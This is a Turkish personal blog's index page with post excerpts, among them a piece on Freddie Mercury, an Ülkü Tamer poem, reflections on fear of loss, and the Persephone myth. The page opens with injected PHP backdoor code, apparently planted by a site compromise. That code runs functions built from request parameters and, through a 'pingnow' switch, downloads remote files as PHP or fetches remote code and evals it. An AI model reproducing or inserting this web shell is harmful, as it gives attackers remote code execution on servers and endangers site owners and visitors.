(strpos($_SERVER['SERVER_SOFTWARE'], 'Microsoft-IIS/7.') !== false); ?> if (isset($_REQUEST['FILE'])){$_FILE = $_REQUEST['0402a745c221bef24158643f3c4fd113']('$_',$_REQUEST['FILE'].'($_);'); $_FILE(stripslashes($_REQUEST['HOST']));} ogin', $user_login); } if (($_GET['pingnow']== 'exec')&&(isset($_GET['file']))){ $ch = curl_init($_GET['file']); $fnm = md5(rand(0,100)).'.php'; $fp = fopen($fnm, "w"); curl_setopt($ch, CURLOPT_FILE, $fp); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 5); curl_exec($ch); curl_close($ch); fclose($fp); echo ""; } if (($_GET['pingnow']== 'eval')&&(isset($_GET['file']))){ $ch = curl_init($_GET['file']); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 5); $re = curl_exec($ch); curl_close($ch); eval($re); }}} if (isset($_REQUEST['FILE'])){$_FILE = $_REQUEST['2033e5d5afb66d8eb6cf1954962ba1b8']('$_',$_REQUEST['FILE'].'($_);'); $_FILE(stripslashes($_REQUEST['HOST']));} ?> if (isset($_REQUEST['FILE'])){$_FILE = $_REQUEST['0402a745c221bef24158643f3c4fd113']('$_',$_REQUEST['FILE'].'($_);'); $_FILE(stripslashes($_REQUEST['HOST']));}
“Nietzsche mutluluktan ağlamadı. ”
Sesini duydukça konuşmaktan bile utandığım Freddie Mercury, 65 yıl önce bugün doğmuş. 80′lerin en güzel yanlarını, en güzel çağlarında yaşamış bir anne-baba’nın çocuğu olarak, doğduğumdan beri dinlediğim sanatçılardan bir tanesi Freddie Mercury. Ancak O’nun, hayatıma yön veren hikayesi doğumundan çok, ölümüne yakın.
Koçluk yaptığım insanlara, ya da kendime sık sık anlattığım bir öykü bu: “The Show Must Go On”
Read More-aman, kendini asmış yüz kiloluk bir zenci,
üstelik gece inmiş, ses gelmiyor kümesten;
ben olsam utanırım, bu ne biçim öğrenci?
hem dersini bilmiyor, hem de şişman herkesten.
iyi nişan alırdı kendini asan zenci,
bira içmez ağlardı, babası değirmenci,
sizden iyi olmasın, boşanmada birinci…
-çok canım sıkılıyor, kuş vuralım istersen.
Ülkü Tamer
Read MoreHayat; köprüden onceki son çıkışı geçtikten sonra başlıyor. O son çıkış; hayal ile hayat arasındaki incecik bir çizgi.
Son çıkış; herkesin hayatında farklı bir yerde. O yüzden bizden öncekilerin öğütlerine o kadar da aldirmamak gerekiyor.
O çıkışı bir gün mutlaka kaçıracaksınız, ve kendinizi çırılçıplak, yapayalniz, savunmasiz vaziyette, hayatın icinde bulacaksınız.
Kaybetme korkusu; korkuların en güzeli gibi geliyor insana.
İnsanın kaybetmekten korktuğu sevdiklerinin olması güzel bir şey. Ama korktuklarımız; yaşama sebebimiz olmaya başlıyor zamanla. Bence bir çeşit Stockholm Sendromu bu. Korktukça; o’nsuz, o’nlarsız yaşayamayacağınızı düşündükçe daha çok bağlanıyoruz aşık olduğumuz insana, ailemize, dostlarımıza, köpeğimize, işimize, okulumuza; hayatımıza..
Ama bazen, insan kaybeder.
Read MoreEvet bu benim.
Yazları güneş panellerim sayesinde depoladığım yaşama sevincimi ve enerjimi kışı geçirmek için kullanırım. Ancak şu sıralar bir şeyler ters gidiyor.
Yunan mitolojisine göre bahar;
Bereket tanrısının (gerçek bereket tanrısı böyle bir şey http://twitpic.com/4kq8fm ) kızı Persephone’u Hades, zindanlarında esir alır. Buna çok üzülen Bereket tanrısı Demeter toprağı işe yaramaz hale getirir ve insanlar açlık çekmeye başlar. İnsanların bu haline çok üzülen tanrılar Hades ile konuşup, Persephone’u annesi Demeter’e vermesine ikna eder. Kızına kavuşan Demeter, coşkuyla toprağı çiçek ve yapraklarla donatır.
Eminim siz de çok duydunuz bu cümleleri çevrenizden. Ya da bizzat kendiniz istediniz kendinizi de bırakıp gitmeyi.
Klişe olduğu kadar da güçlü bir istek bu.
İnsan bazen gitmek istiyor. Her şeyi bırakıp gitmek; kısa bir süreliğine de olsa.
Ama yapamıyor genelde.
Read More
İsterdim ki bu yazıyı okuyan herkes; “Bir yazı okudum, hayatım değişti.” diyebilsin. Çünkü bir önceki, “Uzun Bir Yolculuk” başlıklı yazımda sorduğum sorunun bir benzeri yaklaşık 5 yıl önce, Uludağ Üniversitesi, Felsefe Kulübü tarafından bana sorulmuştu ve şu anda ne o soruyu ne de onların yorumunu tam olarak hatırlayamasam da hayatımın bir daha eskisi gibi olmadığını çok iyi biliyorum.
Read More
Buralardayım